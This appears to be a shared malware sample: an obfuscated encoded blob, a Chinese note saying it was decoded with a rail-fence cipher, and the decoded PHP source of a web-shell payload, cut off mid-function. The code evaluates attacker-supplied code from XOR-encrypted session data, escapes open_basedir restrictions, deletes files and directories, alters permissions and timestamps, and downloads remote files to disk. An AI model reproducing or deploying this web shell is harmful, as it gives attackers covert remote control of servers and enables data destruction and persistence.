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Zp0CIgACIgBnX4MGZgF3OKACIgACIvRSasBWIukmYghybuBiejZWcsoCIgACIg8mYzBGdp42ZzRHZw5FejlCbt5QIgACIgAXdwsiIgACIlFHDgACIgACYlsQIgAHCgACagFWX4NyczxmZp0CIgACclAiDgACINACIgJ3dmx2dj5WckVWRskQIgAEbpsGbhRWKNACIgVGakVWRskQCgBWZmgmd0JnZsh2XGx1IjRWK9ZHKg0QIgV2DgACIlVibuBicj9WczRnclxXYlV2Zv9WQNJnZsh2cuxXYpBmbiUwIg0iIkVWI9BlZf9GdosiIAJWXsFCDNACZ14HcssnC1NWI4NWKNACZUBWdiJXI7oCJi9DZoRGdp0CIkBnZ0JlcisiIkNmb9VCYzJWI7oCJhN3PlgGYz9COKACejlTZoVWelkQIgVWc9VCejFiDgAGYzQ2KkNXZisiIkVmdidCYyVEI7oCZuR2I5FVejR3LwJCcyFSczdmJ4NXLjJWRsNCYhNCDgACIvW+u/aQIgACYuAGdtNGJvQHZu1CYz9CIk9CDgACIvNWIv53bNACIgYCbu52Z0VmK7oCIgACZ14GbtNmYfJ3DgACINACIgYCb0g2clkwIgACIgNmPl9Gc0RGc0siIgAQIgACZoVHKjJWRpsiIgACIj5TZlRGJ1JnY7oCIg0iIgAHcsACbu5WekFTCgACagR2LlJiDgACIgBXcgNmPy9wIgACDgACImgXY5USchUXCgACIgJHbiVnTsIGbtFmdkJ3IydGZjVjCgACfsVQIgACIkFTbcIQIgACI3lSJvViIyNHPlN2ZkkwIgACIgACYh1XNf52KjxWPhUid7oCIgACDgACIgAGY9xjCgACIglCczxTdf9yIpsiIgACIgBGZk9DJlVCZ0hXbokwIgACIgACImJWIk9GI2xSDgACIgACIgACZ04mZ0V2ZkFWLcIQIgACIgACINACIgACIgAGduJiDgACIgACfKACIgAQIgACIgVXIkRwIgACDgAQIgZmau13X4MGcsR3LkNmbsRXdywGZUBCYyVELzwGYzQHCgACJvAEex92Z0R3L64GdgVXYlAGcvQwIgACZoR2INACIgAHdyBXblJiOKACI9V2eKACIgAWKlBSYhNCeKACIgACI5F3djF2KjF2Lj4wIgACIg0CIgACagFXekVmdilQIgACIgAWK1NWX4N0KtNFZlRiKNACIgACIgAXcfVWZoNnbEw2KNACIgACI9xWIm5GbllHeilWcsN2Ip0CIgACIgACex9WYfIGclRiYusiIgACIgBQIgACI9oCIgACczxDQ5F3Z5RWOKACIgAWKkVWK7oCIgACIgVXI5F2cykQIgACI9oCIgACZoVWel0CchUSDgACIgACc0JCdyByItNFZlRFbzR2Lg9yZlRCDgACIgBGcg0CIgACIgRXIg9GOKACIgACIvAGPwASI5F2bmVHJlVCIpsHCgACIgACIgRGPiNjZjRGcsZWXhUHcswGKiQwIgACIgAHCgACIgACZ04Cb7oCIgACIgJ0b913X193KyNHOKACIgACImgmTt4CeKACIgACIgBGZoJyI5F2doJyczxSeKACIgACIgACZyFCc3FCY1kwIgACIgACIgACIkRjYzY2YkgmdpJCDgACIgACIgACDgACIgACIgACZ04Cb7oCIgACIgAHCgACIgACDgACIgBQIgACIAlWYvUGb7oCIgACZ14Gd7oCIg0iI9oCZuR2bzxXZlgGdgBnI1VmZgB3bkAXY5UCdy5GJxw2cllQIgACb00CIgBnPiMiOk9DCgACJ913aj5WKoNCcyFSczdmIsBnOKACIpAWc5RGc0lQIgACIAlWXl9Gc0RGc0siIgAQIgACZoVHKjJWRpsiIgACItNGcsN2KURXZ0IwIgACDgACIxBXbfVnJsNCDgACIml2boEXCgACIgJHbtNGZyIFOKACI9xXCgACIglCexlnXpxyc+lQIgACIgAGMNACIgACIkFSIvxjCgACIgACasg2PtNGZ0hmboEXCgACIgACIgRGPhUFbvUGb+FSI0siIgACIgACJrsiIgACIgBQIgACIgAGduJiDgACIgACdpUHPtNGZ0hmKxlQIgACIgACIvgzOjRyKp0CIgACIgACIgRGPhUFbvUHbkNGKuxjCgACIgACIg0CIgACIgACZ04lINACIgACI9oCIgACIgVXIkRwIgACIgV2DgACIgACc0JCdyByIAlWXmVGXvMFLg9yZlRCDgACIgBQIgAHCgBQIgV3bgdXY4R3Lk9CJzJWLkF3csRGVww3cuRCcsRGc0siIgAHcg0iPk9CI1MiIwJwIgACYyFmKKACIgA2cn4GdNACIgACb00HcsoCIgACdlcicyFSCgACIgdXdyciYz9AIgACOKACIpAWc5RXZ0IXCgACIgRnIiFSPjJWR7oCIg0iIgAGPn0CIgB3YoRnYgsiK7oCIgACZlBSdp0CIgACIgNnbl0CIgACfKACIgAGI9Izdi0CIgBQIgACPw92Z0RyDgACImECDgACIgBXcgB2cfJ3KNACIgV2DgACIgBiItRCayVSDgACIgACQnNFblRWbpcFJoJXOKACIgAQIgACIgEHX1JCLkFTCgACIglCc7oCIgACIgVXIw9XXy9CDgACIgBWZNACIgACIk1GbtZWckkQIgACIgAWJ91UKNACIgACIgAmduB1Y0VmK7oCIgACIgV2Zk0TeKACIgACIgBXcgFXILAkZhZ3ZydCKiJ3YmNWOKACIgACIlNwIgACIgACIkFSIvxjCgACIgACIg9CP7kGJrlQIgACIgACIgAGY9FTXu9ScflGbtgSapJCDgACIgACIg0iIgACIgACJhESXi0CIgACIgACasgmPw9XaycHKNACIgACIgACIvgTOpRyKp0CIgACIgACIgACYh1XNf52KydGI9VDc3RTTMIid7oCIgACIgACI9oCIgACIgACIkFSIcIQIgACIgACINACIgACIgAmduRXOKACIgACINACIgAHCgACfKAHCgBWdvBWcfhyazwHcsR2btwHc3JCZlRGIjJWRsNCDNACIgR2ZnFmKVQTJzJWLQQTczdmOKACIpAWc5RXZ0IXCgACIgRkbpsGYhUTYyVEOKACI9oiIgAFQxNlbuNCb0RkbpkQIgACPzxnclkFJxxWKNACIgYHPmxSDgACIgATOKACIgAGPzxnZlRWYhEHOKACIgAWZwkGK7oCIgACIgFUczZmchZ3ZkkQIgACIgAmduJWePwiYuB3ImVGINACIgAHbl0CIgACIgRXIg9GOKoCIgACIg9Wak0XJzsiIgACIgACJhEWc29mZoJyYl0id7oCIgACIgACK7oCIgACIg0CIgACIgRXLgxjCgACIgACasgnQxNlZj9nekxUUfV0TNJyeKACIgACIgB3J9szaksXCgACIgACIgACYh1XNf52Ky0HWjkid7oCIgACIgAHCgACIgACIgRGPi4wIgACIgAHCgACIgACZ14Gd7oCIgACDgACIlNwIgACIgVjINACIgAGKkAHby9ncokTbslQIgACIgAmZjgScklQIgACIgACIlISZnV2Zd4GOKACIgACINACIgAHCgACIgJHbkJwIgACDgAQIgZmau13X4MGcsR3LkNmbsRXdywGZUBCdy5GIzwwIgACVANWYuVCazwXchUHc3JTCgACagFXekVmdilQIgACIANWcsN2KjJWRp0CIgBQIgACPtNFdyg3LUsiIgAWaf9Ccp0CIgACc0JCdyByIANWc39mYlgCIydGZjVjCgACfsVQIgACIkFSIvxjCgACIgRTDgACIgBGZkMGcsZGXpxCK7oCIgACIgRGPhUFbvUHLu1SXi0CIgACIgRyDgACIgBQIgACIkFSIusiIgACIoxCcANWZ0hmKxlQIgACIgAmKjAGJ7MyDgACIgACIgRXLiNjZjRHaoJyXpJCDgACIgACfKACIgACIkRjXi0CIgACfKACIgAGcsZWczxCKNACIgAEcx9GZkkQIgACIyRmJhEQIgAHCgBQIgV3bgN2Zoh3IwJCdl5WIwN2ZgVWelA3cuRCcsA2clkwIgACYz0GYzQyYhNCI1YjCgACJvADDgACII0Gaj5WK1VmZgB3bkAGdgNyJvkQIgAGIhgHCgACIgRnY99VcvgwIgACIgVXIlJmIlN2XNACIgBHINACIgACIg9VYzgCJxkQIgACIpAGalVXKxkwIgACIgACIgN2bmVHJp0CIgACIglCb9ASDgACIgACIgJHbiVnTsIGau1mckkibzFmdksiIgACIgBGcg0CIgACIgACZ0ACausiIgACIgACZygSI7RDIuASK7oCIgACIgACIkFSIhUFbvU2Xpx2boECKuxjCgACIgACIg0CIgACIgACZ04Cb7oCIgACIgAHalgmIg9VZj9nekw0XT9CTJJFTOxyINACIgACIgACIvV2JvByalkwIgACIgACIgACIkRjYzY2YkgXbh0nb/J2NlNGJ00DIpAHOKACIgACIgACfKACIgACIgACJhESXi0CIgACIgACDgACIgACIgJHbkFTCgACIgACDgACIgBGcg0CIgACIgRDQj9nckkQIgACIgAWKlBQIgACIgACIlViRSIyJb13Zn0WWks3d4dVYssVbmV1INACIgACI9V2eKACIgACIgBXcgZHINACIgACI9oCIgACDgACINACDgAnYp43X4MGcsR3LkNmbsRXdywGZUBCYyVELkFCYhNCeKACIkAEcfx2K7VXYlBGc9wnczdmI7oCIglCJpsiIgACIlViTn4mbkIQIgAHZzBQIgACIkAEcfBiS7oCIgACbhNWdmgCDgACIgASIvFGcoQCJx0TCgACIgRDbhVWJp0CIgACagRSDgACIgACJgBmbt9yV7oCIgACIgRGIr4wIgACIgAGcokSOkACOksSDgACIgACIgRXLiNjZjREYDxWYlRCapJCDgACIgACfKACIgACIkRjXi0CIgACIgdWIvFmYoQSDgACIgACIgZiJgAya8RyarBQIgACIgACIgAGY9FTXu9Sct9VZjxWJsRSLcIQIgACIgACINACIgACIgAGduJiDgACIgACfKACIgACIlViZ0siIgACIgxSDgACIgACc0JCYzIQIgACI9oCIg0iI9oCZuR2csR2Zoh3IwJCdl5WIwN2ZgVWelA3cuRCcsA2clkwIgACZo5yUpUCb0siIgAWIkgwIgACIgVXIFJjLP51RSIlT0MmcFJkZp0CIgBWZNACIgACd0RmPyBmJxkQIgACIpgHbp0CIgACIgJHbiJ1LiRmPhRnczgwIgACIgBHINACIgACIkVWPz1TejRCDgACIgACaoRXbp0CIgACIgACZ14Ga+FEcyNCDgACIgACfsVQIgACIgACIi9Vd7oCIgACIgACYhJ1INACIgACIgA2boJzczxTZjFmKRlTQTMXCgACIgACIgAGKi9XCgACIgACIgACImJWKyMXJl0HblsiIgACIgACIgACIgRGPhUFbvUGeuxjCgACIgACIgACI9oCIgACIgACIgAGb9F2DgACIgACIgACIgRGPcIQIgACIgACIgBQIgACIgACIgB3YoRXYgtTJhVXCgACIgACIgACIkFSYzY2Ykgmdh1UP2xTTMIid7oCIgACIgACI9oCIgACIgACIkFSIusiIgACIgACfKACIgACIgBiYvlQIgACIgACIgBiJlVCbt9WcpsiIgACIgACIgACZ14lZ59CLkgmYnMSIvMWZ0QwIgACIgACIgAWc7oCIgACIgACIgAmduJlUvRmIzVHL7oCIgACIgACI9oCIgACIgAHbl0CIgACIgACIgVXIkRwIgACIgACI9oCIgACIg0CIgACfKACIgAGa+x2KNACIg0CINACdjliZFVCYhFVcsh3JvQHZu1CYz9CZlRGJ1JnYkFXCgACJv4nbNACIgYCYhFVc903YllQIgACIkFWcUBScssiIgAQIgAC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

经过栅栏解密后

$parameters=array();
$_SES=array();
function run($pms){
    global $ERRMSG;

    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }
    $result=@evalFunc();
    if ($result==null||$result===false){
        $result=$ERRMSG;
    }

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }
    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}
function payloadExceptionHandler($exception){
    global $ERRMSG;
    $ERRMSG.="ExceptionMsg:".$exception->getMessage()."\r\n";
    return true;
}
function payloadErrorHandler($errno, $errstr, $errfile=null, $errline=null,$errcontext=null){
    global $ERRMSG;
    $ERRMSG.="ErrLine: {$errline} ErrorMsg:{$errstr}\r\n";
    return true;
}
function S1MiwYYr($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[($i+1)%15];
    }
    return $D;
}
function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {
        function file_get_contents($file) {
            $f = @fopen($file,"rb");
            $contents = false;
            if ($f) {
                do { $contents .= fgets($f,1024*1024); } while (!feof($f));
            }
            fclose($f);
            return $contents;
        }
    }
    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)
        {
            return gzinflate(substr($data,10,-8));
        }
    }
    if (!function_exists("sys_get_temp_dir")){
        function sys_get_temp_dir(){
            $SCRIPT_FILENAME=dirname(__FILE__);
            if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
                return "C:/Windows/Temp/";
            }else{
                return "/tmp/";
            }
        }
    }
    if (!function_exists("getmygid")){
        function getmygid(){
            return 0;
        }
    }
    if (!function_exists("scandir")){
        function scandir($directory){
            $dh  = opendir($directory);
            if ($dh!==false){
                $files=array();
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                @closedir($dh);
                return $files;
            }
            return false;
        }
    }
    if (!function_exists("file_put_contents")){
        function file_put_contents($fileName, $data){
            $handle=fopen($fileName,"wb");
            if ($handle!==false){
                $len=fwrite($handle,$data);
                return $len;
                @fclose($handle);
            }else{
                return false;
            }
        }
    }
    if (!function_exists("is_executable")){
        function is_executable($fileName){
            return false;
        }
    }

}
function &getSession(){
    global $_SES;
    return $_SES;
}
function bypass_open_basedir(){
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    $allFiles = @scandir($_FILENAME);
    $cdStatus=false;
    if ($allFiles!=null){
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                if (@is_dir($fileName)){
                    if (@chdir($fileName)===true){
                        $cdStatus=true;
                        break;
                    }
                }
            }

        }
    }
    if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
        @mkdir('bypass_open_basedir');
    }
    if (!$cdStatus){
        @chdir('bypass_open_basedir');
    }
    @ini_set('open_basedir','..');
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_path = str_replace("\\",'/',$_FILENAME);
    @$_num = substr_count($_path,'/') + 1;
    $_i = 0;
    while($_i < $_num){
        @chdir('..');
        $_i++;
    }
    @ini_set('open_basedir','/');
    if (!$cdStatus){
        @rmdir($_FILENAME.'/'.'bypass_open_basedir');
    }
}
function formatParameter($pms){
    global $parameters;
    $index=0;
    $key=null;
    while (true){
        $q=$pms[$index];
        if (ord($q)==0x02){
            $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
            $index+=4;
            $value=substr($pms,$index+1,$len);
            $index+=$len;
            $parameters[$key]=$value;
            $key=null;
        }else{
            $key.=$q;
        }
        $index++;
        if ($index>strlen($pms)-1){
            break;
        }
    }
}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    $_SES=&getSession();
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SES[$className])){
                    return eval($_SES[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            if (function_exists($methodName)){
                return $methodName();
            }else{
                return "function {$methodName} not exist";
            }
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function setFileAttr(){
    $type = get("type");
    $attr = get("attr");
    $fileName = get("fileName");
    $ret = "Null";
    if ($type!=null&&$attr!=null&&$fileName!=null) {
        if ($type=="fileBasicAttr"){
            if (@chmod($fileName,convertFilePermissions($attr))){
                return "ok";
            }else{
                return "fail";
            }
        }else if ($type=="fileTimeAttr"){
            if (@touch($fileName,$attr)){
                return "ok";
            }else{
                return "fail";
            }
        }else{
            return "no ExcuteType";
        }
    }else{
        $ret="type or attr or fileName is null";
    }
    return $ret;
}
function fileRemoteDown(){
    $url=get("url");
    $saveFile=get("saveFile");
    if ($url!=null&&$saveFile!=null) {
        $data=@file_get_contents($url);
        if ($data!==false){
            if (@file_put_contents($saveFile,$data)!==false){
                @chmod($saveFile,0777);
                return "ok";
            }else{
                return "write fail";
            }
        }else{
            return "read fail";
        }
    }else{
